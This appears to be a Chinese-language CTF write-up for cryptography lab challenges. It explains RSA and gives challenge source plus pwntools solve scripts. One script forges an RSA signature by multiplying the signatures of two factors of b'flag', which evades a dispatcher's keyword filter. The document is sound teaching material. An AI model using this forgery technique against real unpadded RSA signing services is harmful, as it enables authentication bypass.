这个公开的 n 定义了一个模 n 的有限域 (Finite Field)。欧拉定理指出,模 n (即 p × q) 域中的指数运算,实际上是在模 (p − 1)(q − 1) 的域中进行的。or 交换环 (Commutative Ring)

只要知道 (p − 1)(q − 1),Alice 就可以轻松计算出一个 d,使得:

e × d ≡ 1 (mod  (p − 1)(q − 1))

  • Public Key (公钥): 包含 ne。你可以把它们像推送到 AUR 一样公开出去。这里的 e 通常选一个较小但安全的数值(比如 65537),以降低计算开销(绝不浪费 CPU 周期,很符合 Arch 精神)。
  • Private Key (私钥): 就是 d。绝对私密,是你掌控一切的终极凭证。

RSA 的非对称魅力在于:

  • Encryption (加密): Bob 拿到 Alice 的公钥,把明文消息 m 加密成密文 c

c ≡ me (mod  n)

  • Decryption (解密): Alice 用她的私钥 d 进行逆向操作来恢复明文 m

m ≡ cd (mod  n)

  • 原理解释: 因为 cd = (me)d = me × d = m1 = m

身份验证 (Attestation/Signatures)

因为 e × d = d × e,Alice 也可以用私钥 d 来“加密”消息,而任何拥有公钥 e 的人都能“解密”。只有拥有 d 的 Alice 才能生成这串特定的密文,这就完美证明了消息绝对且仅来自于 Alice 本人

如果你要回复 Bob,你同样需要获取 Bob 的公钥(属于他自己的 ne),然后重复上述的流程。

1
2
3
4
5
6
7
8
9
10
flag = open("/flag", "rb").read()
assert len(flag) <= 256

key = RSA.generate(2048)
print(f"(public) n = {key.n:#x}")
print(f"(public) e = {key.e:#x}")
print(f"(private) d = {key.d:#x}")

ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
print(f"Flag Ciphertext (hex): {ciphertext.hex()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from pwn import log, process, unhex

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")
pro.recvuntil(b"(public) n = ")
n = int(pro.recvline().strip(), 16)

pro.recvuntil(b"(public) e = ")
e = int(pro.recvline().strip(), 16)

pro.recvuntil(b"(private) d = ")
d = int(pro.recvline().strip(), 16)

pro.recvuntil(b"Flag Ciphertext (hex): ")
ciphertext = unhex(pro.readline().strip())

flag = pow(int.from_bytes(ciphertext, "little"), d, n).to_bytes(256, "little")

print(flag)

pro.interactive()

RSA 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# challenge

#!/usr/bin/exec-suid -- /usr/bin/python3 -I

from Crypto.PublicKey import RSA

flag = open("/flag", "rb").read()
assert len(flag) <= 256

key = RSA.generate(2048)
print(f"e = {key.e:#x}")
print(f"p = {key.p:#x}")
print(f"q = {key.q:#x}")

ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
print(f"Flag Ciphertext (hex): {ciphertext.hex()}")

e × d ≡ 1 (mod  (p − 1)(q − 1))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from pwn import log, process, unhex

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")
pro.recvuntil(b"e = ")
e = int(pro.recvline().strip(), 16)

pro.recvuntil(b"p = ")
p = int(pro.recvline().strip(), 16)

pro.recvuntil(b"q = ")
q = int(pro.recvline().strip(), 16)

pro.recvuntil(b"Flag Ciphertext (hex): ")
ciphertext = unhex(pro.readline().strip())

n = p * q

d = pow(e, -1, (p - 1) * (q - 1))

flag = pow(int.from_bytes(ciphertext, "little"), d, n).to_bytes(256, "little")

print(flag)

pro.interactive()

RSA 3

Full challenge source (levels 1-14)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys
import string
import random
import pathlib
import base64
import json
import textwrap

from Crypto.Cipher import AES
from Crypto.Hash.SHA256 import SHA256Hash
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Random.random import getrandbits, randrange
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import pad, unpad


flag = open("/flag", "rb").read()
config = (pathlib.Path(__file__).parent / ".config").read_text()
level = int(config)


def show(name, value, *, b64=True):
print(f"{name}: {value}")


def show_b64(name, value):
show(f"{name} (b64)", base64.b64encode(value).decode())

def show_hex_block(name, value, byte_block_size=16):
value_to_show = ""

for i in range(0, len(value), byte_block_size):
value_to_show += f"{value[i:i+byte_block_size].hex()}"
value_to_show += " "
show(f"{name} (hex)", value_to_show)


def show_hex(name, value):
show(name, hex(value))


def input_(name):
try:
return input(f"{name}: ")
except (KeyboardInterrupt, EOFError):
print()
exit(0)


def input_b64(name):
data = input_(f"{name} (b64)")
try:
return base64.b64decode(data)
except base64.binascii.Error:
print(f"Failed to decode base64 input: {data!r}", file=sys.stderr)
exit(1)


def input_hex(name):
data = input_(name)
try:
return int(data, 16)
except Exception:
print(f"Failed to decode hex input: {data!r}", file=sys.stderr)
exit(1)


def level1():
"""
In this challenge you will decode base64 data.
Despite base64 data appearing "mangled", it is not an encryption scheme.
It is an encoding, much like base2, base10, base16, and ascii.
It is a popular way of encoding raw bytes.
"""
show_b64("flag", flag)


def level2():
"""
In this challenge you will decrypt a secret encrypted with a one-time pad.
Although simple, this is the most secure encryption mechanism, if you could just securely transfer the key.
"""
key = get_random_bytes(len(flag))
ciphertext = strxor(flag, key)
show_b64("key", key)
show_b64("secret ciphertext", ciphertext)


def level3():
"""
In this challenge you will decrypt a secret encrypted with a one-time pad.
You can encrypt arbitrary data, with the key being reused each time.
"""
key = get_random_bytes(256)
assert len(flag) <= len(key)

ciphertext = strxor(flag, key[:len(flag)])
show_b64("secret ciphertext", ciphertext)

while True:
plaintext = input_b64("plaintext")
ciphertext = strxor(plaintext, key[:len(plaintext)])
show_b64("ciphertext", ciphertext)


def level4():
"""
In this challenge you will decrypt a secret encrypted with Advanced Encryption Standard (AES).
The Electronic Codebook (ECB) block cipher mode of operation is used.
"""
key = get_random_bytes(16)
cipher = AES.new(key=key, mode=AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(flag, cipher.block_size))
show_b64("key", key)
show_b64("secret ciphertext", ciphertext)



def level5():
"""
In this challenge you will decrypt a secret encrypted with Advanced Encryption Standard (AES).
The Electronic Codebook (ECB) block cipher mode of operation is used.
You can encrypt arbitrary data, which has the secret appended to it, with the key being reused each time.
"""
key = get_random_bytes(16)
cipher = AES.new(key=key, mode=AES.MODE_ECB)

ciphertext = cipher.encrypt(pad(flag, cipher.block_size))
show_b64("secret ciphertext", ciphertext)
show_hex_block("secret ciphertext", ciphertext)

while True:
plaintext_prefix = input_b64("plaintext prefix")
ciphertext = cipher.encrypt(pad(plaintext_prefix + flag, cipher.block_size))
show_b64("ciphertext", ciphertext)
show_hex_block("ciphertext", ciphertext)


def level6():
"""
In this challenge you will perform a Diffie-Hellman key exchange.
"""
# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2

show_hex("p", p)
show_hex("g", g)

a = getrandbits(2048)
A = pow(g, a, p)
show_hex("A", A)

B = input_hex("B")
if not (B > 2**1024):
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
exit(1)

s = pow(B, a, p)

key = s.to_bytes(256, "little")
assert len(flag) <= len(key)
ciphertext = strxor(flag, key[:len(flag)])
show_b64("secret ciphertext", ciphertext)


def level7():
"""
In this challenge you will decrypt a secret encrypted with RSA (Rivest–Shamir–Adleman).
You will be provided with both the public key and private key.
"""
key = RSA.generate(2048)
assert len(flag) <= 256
ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
show_hex("e", key.e)
show_hex("d", key.d)
show_hex("n", key.n)
show_b64("secret ciphertext", ciphertext)


def level8():
"""
In this challenge you will decrypt a secret encrypted with RSA (Rivest–Shamir–Adleman).
You will be provided with the prime factors of n.
"""
key = RSA.generate(2048)
assert len(flag) <= 256
ciphertext = pow(int.from_bytes(flag, "little"), key.e, key.n).to_bytes(256, "little")
show_hex("e", key.e)
show_hex("p", key.p)
show_hex("q", key.q)
show_b64("secret ciphertext", ciphertext)


def level9():
"""
In this challenge you will hash data with a Secure Hash Algorithm (SHA256).
You will find a small hash collision.
Your goal is to find data, which when hashed, has the same hash as the secret.
Only the first 2 bytes of the SHA256 hash are considered.
"""
prefix_length = 2
sha256 = SHA256Hash(flag).digest()
show_b64(f"secret sha256[:{prefix_length}]", sha256[:prefix_length])

collision = input_b64("collision")
if SHA256Hash(collision).digest()[:prefix_length] == sha256[:prefix_length]:
show("flag", flag.decode())


def level10():
"""
In this challenge you will hash data with a Secure Hash Algorithm (SHA256).
You will compute a small proof-of-work.
Your goal is to find response data, which when appended to the challenge data and hashed, begins with 2 null-bytes.
"""
difficulty = 2

challenge = get_random_bytes(32)
show_b64("challenge", challenge)

response = input_b64("response")
if SHA256Hash(challenge + response).digest()[:difficulty] == (b'\0' * difficulty):
show("flag", flag.decode())


def level11():
"""
In this challenge you will complete an RSA challenge-response.
You will be provided with both the public key and private key.
"""
key = RSA.generate(2048)

show_hex("e", key.e)
show_hex("d", key.d)
show_hex("n", key.n)

challenge = int.from_bytes(get_random_bytes(256), "little") % key.n
show_hex("challenge", challenge)

response = input_hex("response")
if pow(response, key.e, key.n) == challenge:
show("flag", flag.decode())


def level12():
"""
In this challenge you will complete an RSA challenge-response.
You will provide the public key.
"""
e = input_hex("e")
n = input_hex("n")

if not (e > 2):
print("Invalid e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < n < 2**1024):
print("Invalid n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

challenge = int.from_bytes(get_random_bytes(64), "little")
show_hex("challenge", challenge)

response = input_hex("response")
if pow(response, e, n) == challenge:
ciphertext = pow(int.from_bytes(flag, "little"), e, n).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)


def level13():
"""
In this challenge you will work with public key certificates.
You will be provided with a self-signed root certificate.
You will also be provided with the root private key, and must use that to sign a user certificate.
"""
root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

user_certificate_data = input_b64("user certificate")
user_certificate_signature = input_b64("user certificate signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name in root_trusted_certificates:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

ciphertext = pow(int.from_bytes(flag, "little"), user_key["e"], user_key["n"]).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)


def level14():
"""
In this challenge you will perform a simplified Transport Layer Security (TLS) handshake, acting as the server.
You will be provided with Diffie-Hellman parameters, a self-signed root certificate, and the root private key.
The client will request to establish a secure channel with a particular name, and initiate a Diffie-Hellman key exchange.
The server must complete the key exchange, and derive an AES-128 key from the exchanged secret.
Then, using the encrypted channel, the server must supply the requested user certificate, signed by root.
Finally, using the encrypted channel, the server must sign the handshake to prove ownership of the private user key.
"""
# 2048-bit MODP Group from RFC3526
p = int.from_bytes(bytes.fromhex(
"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 "
"29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD "
"EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 "
"E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED "
"EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D "
"C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F "
"83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D "
"670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B "
"E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 "
"DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 "
"15728E5A 8AACAA68 FFFFFFFF FFFFFFFF"
), "big")
g = 2

show_hex("p", p)
show_hex("g", g)

root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

name = ''.join(random.choices(string.ascii_lowercase, k=16))
show("name", name)

a = getrandbits(2048)
A = pow(g, a, p)
show_hex("A", A)

B = input_hex("B")
if not (B > 2**1024):
print("Invalid B value (B <= 2**1024)", file=sys.stderr)
exit(1)

s = pow(B, a, p)
key = SHA256Hash(s.to_bytes(256, "little")).digest()[:16]
cipher_encrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)
cipher_decrypt = AES.new(key=key, mode=AES.MODE_CBC, iv=b"\0"*16)

def decrypt_input_b64(name):
data = input_b64(name)
try:
return unpad(cipher_decrypt.decrypt(data), cipher_decrypt.block_size)
except ValueError as e:
print(f"{name}: {e}", file=sys.stderr)
exit(1)

user_certificate_data = decrypt_input_b64("user certificate")
user_certificate_signature = decrypt_input_b64("user certificate signature")
user_signature = decrypt_input_b64("user signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name != name:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

user_signature_data = (
name.encode().ljust(256, b"\0") +
A.to_bytes(256, "little") +
B.to_bytes(256, "little")
)
user_signature_hash = SHA256Hash(user_signature_data).digest()
user_signature_check = pow(
int.from_bytes(user_signature, "little"),
user_key["e"],
user_key["n"]
).to_bytes(256, "little")[:len(user_signature_hash)]

if user_signature_check != user_signature_hash:
print("Untrusted user: invalid signature", file=sys.stderr)
exit(1)

ciphertext = cipher_encrypt.encrypt(pad(flag, cipher_encrypt.block_size))
show_b64("secret ciphertext", ciphertext)


def challenge():
challenge_level = globals()[f"level{level}"]
description = textwrap.dedent(challenge_level.__doc__)

print("===== Welcome to Cryptography! =====")
print("In this series of challenges, you will be working with various cryptographic mechanisms.")
print(description)
print()

challenge_level()


challenge()

.config -> 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from pwn import log, process

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")
pro.recvuntil(b"e: ")
e = int(pro.recvline().strip(), 16)

pro.recvuntil(b"d: ")
d = int(pro.recvline().strip(), 16)

pro.recvuntil(b"n: ")
n = int(pro.recvline().strip(), 16)

pro.recvuntil(b"challenge: ")
challenge = int(pro.recvline().strip(), 16)

ciphertext = pow(challenge, d, n)

pro.recvuntil(b"response: ")
# 把整数转成十六进制字符串,切掉 0x,再编码成 bytes 流
pro.sendline(hex(ciphertext)[2:].encode())

pro.interactive()

RSA 4

.config -> 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def level12():
"""
In this challenge you will complete an RSA challenge-response.
You will provide the public key.
"""
e = input_hex("e")
n = input_hex("n")

if not (e > 2):
print("Invalid e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < n < 2**1024):
print("Invalid n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

challenge = int.from_bytes(get_random_bytes(64), "little")
show_hex("challenge", challenge)

response = input_hex("response")
if pow(response, e, n) == challenge:
ciphertext = pow(int.from_bytes(flag, "little"), e, n).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.PublicKey import RSA
from pwn import *
from pwn import b64d, log, process

pro = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)
log.info("START")

key = RSA.generate(1024)

e = key.e
d = key.d
n = key.n
pro.recvuntil(b"e: ")
pro.sendline(hex(e)[2:].encode())

pro.recvuntil(b"n: ")
pro.sendline(hex(n)[2:].encode())

pro.recvuntil(b"challenge: ")
challenge = int(pro.recvline().strip(), 16)

ciphertext = pow(challenge, d, n)

pro.recvuntil(b"response: ")
# 把整数转成十六进制字符串,切掉 0x,再编码成 bytes 流
pro.sendline(hex(ciphertext)[2:].encode())

pro.recvuntil(b"secret ciphertext (b64): ")
b = b64d(pro.recvline().strip())

flag = int.from_bytes(b, "little")

print(pow(flag, d, n).to_bytes(256, "little"))

pro.interactive()

RSA Signatures

Signing Oracle

同态乘法特性 (Homomorphic Multiplication)。在数学上,两个消息的签名相乘,等于它们乘积的签名:

Sig(m1) × Sig(m2) ≡ Sig(m1 × m2) (mod  n)

b"flag" 的小端序整数值是 1734437990,这是一个偶数。我们将它除以 2:

  • m1 = 2 (对应字节 b"\x02"
  • m2 = 1734437990/2 = 867218995 (对应字节 b"\xb3\xea\xb0\x33"

这两个数字的字节流中都不包含 b"flag",可以完美 Bypass dispatcher 的过滤机制。让它们各自被签名,然后把签名相乘,就能生成真正 1734437990 的签名!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# worker
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys

from base64 import b64decode

n = int(open("/challenge/key-n").read(), 16)
e = int(open("/challenge/key-e").read(), 16)

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [signature-b64]")
sys.exit(1)

signature = b64decode(sys.argv[1])
c = int.from_bytes(signature, "little")
assert c < n, "Message too big!"
command = pow(c, e, n).to_bytes(256, "little").rstrip(b"\x00")

print(f"Received signed command: {command}")
if command == b"flag":
print(open("/flag").read())

# dispatcher
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import sys

from base64 import b64encode, b64decode

n = int(open("/challenge/key-n").read(), 16)
d = int(open("/challenge/key-d").read(), 16)

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [command-b64]")
sys.exit(1)

command = b64decode(sys.argv[1].strip("\0"))

if b"flag" in command:
print(f"Command contains 'flag'")
sys.exit(1)

signature = pow(int.from_bytes(command, "little"), d, n).to_bytes(256, "little")
print(f"Signed command (b64): {b64encode(signature).decode()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from pwn import b64d, b64e, log, process

log.info("START")

n = int(open("/challenge/key-n").read(), 16)
e = int(open("/challenge/key-e").read(), 16)

# The target integer representation of b"flag" (little endian)
# 0x67616c66 = 1734437990
target_int = int.from_bytes(b"flag", "little")

# Factor the integer into two parts to bypass the "flag" substring filter
m1 = 2
m2 = target_int // 2

# Convert factors back to bytes
command1 = m1.to_bytes(1, "little")
command2 = m2.to_bytes(4, "little")

c1 = b64e(command1).encode()
c2 = b64e(command2).encode()

# Fetch signature 1
p1 = process(["/challenge/dispatcher", c1])
p1.recvuntil(b"Signed command (b64): ")
signature1 = int.from_bytes(b64d(p1.recvline().strip()), "little")
p1.close()

# Fetch signature 2
p2 = process(["/challenge/dispatcher", c2])
p2.recvuntil(b"Signed command (b64): ")
signature2 = int.from_bytes(b64d(p2.recvline().strip()), "little")
p2.close()

# Homomorphic Multiplication to forge the final signature
signature = pow(signature1 * signature2, 1, n).to_bytes(256, "little")

# Profit
p3 = process(["/challenge/worker", b64e(signature)])
p3.interactive()

cryptographic hashes

sha1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# challenge
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

flag = open("/flag").read()
prefix_length = 6
flag_hash = hashlib.sha256(flag.encode("latin")).hexdigest()
print(f"{flag_hash[:prefix_length]=}")

collision = bytes.fromhex(input("Colliding input? ").strip())
collision_hash = hashlib.sha256(collision).hexdigest()
print(f"{collision_hash[:prefix_length]=}")
if collision_hash[:prefix_length] == flag_hash[:prefix_length]:
print("Collided!")
print(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib

from pwn import *
from pwn import log, process

log.info("START")

p = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

p.recvuntil(b"flag_hash[:prefix_length]=")
collision = p.recvline().strip().replace(b"'", b"").decode()

prefix_length = 6
count = 0

while True:
flag = str(count).encode()
flag_hash = hashlib.sha256(flag).hexdigest()

if flag_hash[:prefix_length] == collision:
break

count += 1
if count % 1000000 == 0:
log.info(f"Tried {count} combinations...")


p.sendlineafter(b"Colliding input? ", flag.hex().encode())
p.interactive()

sha2

.config -> 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def level10():
"""
In this challenge you will hash data with a Secure Hash Algorithm (SHA256).
You will compute a small proof-of-work.
Your goal is to find response data, which when appended to the challenge data and hashed, begins with 2 null-bytes.
"""
difficulty = 2

challenge = get_random_bytes(32)
show_b64("challenge", challenge)

response = input_b64("response")
if SHA256Hash(challenge + response).digest()[:difficulty] == (b'\0' * difficulty):
show("flag", flag.decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import itertools

from Crypto.Hash.SHA256 import SHA256Hash
from pwn import *
from pwn import b64d, b64e, log, process

log.info("START")

p = process(["/challenge/run"], stdin=process.PTY, stdout=process.PTY)

difficulty = 2

p.recvuntil(b"challenge (b64): ")
challenge = b64d(p.recvline().strip())

for count in itertools.count():
if SHA256Hash(challenge + count.to_bytes(256, "big")).digest()[:difficulty] == (
b"\0" * difficulty
):
break

if count % 1000000 == 0:
log.info(f"Tried {count} combinations...")

p.recvuntil(b"response (b64): ")
p.sendline(b64e(count.to_bytes(256, "big")))

p.interactive()

trust

TLS1

.config -> 13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
def level13():
"""
In this challenge you will work with public key certificates.
You will be provided with a self-signed root certificate.
You will also be provided with the root private key, and must use that to sign a user certificate.
"""
root_key = RSA.generate(2048)

show_hex("root key d", root_key.d)

root_certificate = {
"name": "root",
"key": {
"e": root_key.e,
"n": root_key.n,
},
"signer": "root",
}

root_trusted_certificates = {
"root": root_certificate,
}

root_certificate_data = json.dumps(root_certificate).encode()
root_certificate_hash = SHA256Hash(root_certificate_data).digest()
root_certificate_signature = pow(
int.from_bytes(root_certificate_hash, "little"),
root_key.d,
root_key.n
).to_bytes(256, "little")

show_b64("root certificate", root_certificate_data)
show_b64("root certificate signature", root_certificate_signature)

user_certificate_data = input_b64("user certificate")
user_certificate_signature = input_b64("user certificate signature")

try:
user_certificate = json.loads(user_certificate_data)
except json.JSONDecodeError:
print("Invalid user certificate", file=sys.stderr)
exit(1)

user_name = user_certificate.get("name")
if user_name in root_trusted_certificates:
print(f"Invalid user certificate name: `{user_name}`", file=sys.stderr)
exit(1)

user_key = user_certificate.get("key", {})
if not (isinstance(user_key.get("e"), int) and isinstance(user_key.get("n"), int)):
print(f"Invalid user certificate key: `{user_key}`", file=sys.stderr)
exit(1)

if not (user_key["e"] > 2):
print("Invalid user certificate key e value (e > 2)", file=sys.stderr)
exit(1)

if not (2**512 < user_key["n"] < 2**1024):
print("Invalid user certificate key n value (2**512 < n < 2**1024)", file=sys.stderr)
exit(1)

user_signer = user_certificate.get("signer")
if user_signer not in root_trusted_certificates:
print(f"Untrusted user certificate signer: `{user_signer}`", file=sys.stderr)
exit(1)

user_signer_key = root_trusted_certificates[user_signer]["key"]
user_certificate_hash = SHA256Hash(user_certificate_data).digest()
user_certificate_check = pow(
int.from_bytes(user_certificate_signature, "little"),
user_signer_key["e"],
user_signer_key["n"]
).to_bytes(256, "little")[:len(user_certificate_hash)]

if user_certificate_check != user_certificate_hash:
print("Untrusted user certificate: invalid signature", file=sys.stderr)
exit(1)

ciphertext = pow(int.from_bytes(flag, "little"), user_key["e"], user_key["n"]).to_bytes(256, "little")
show_b64("secret ciphertext", ciphertext)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
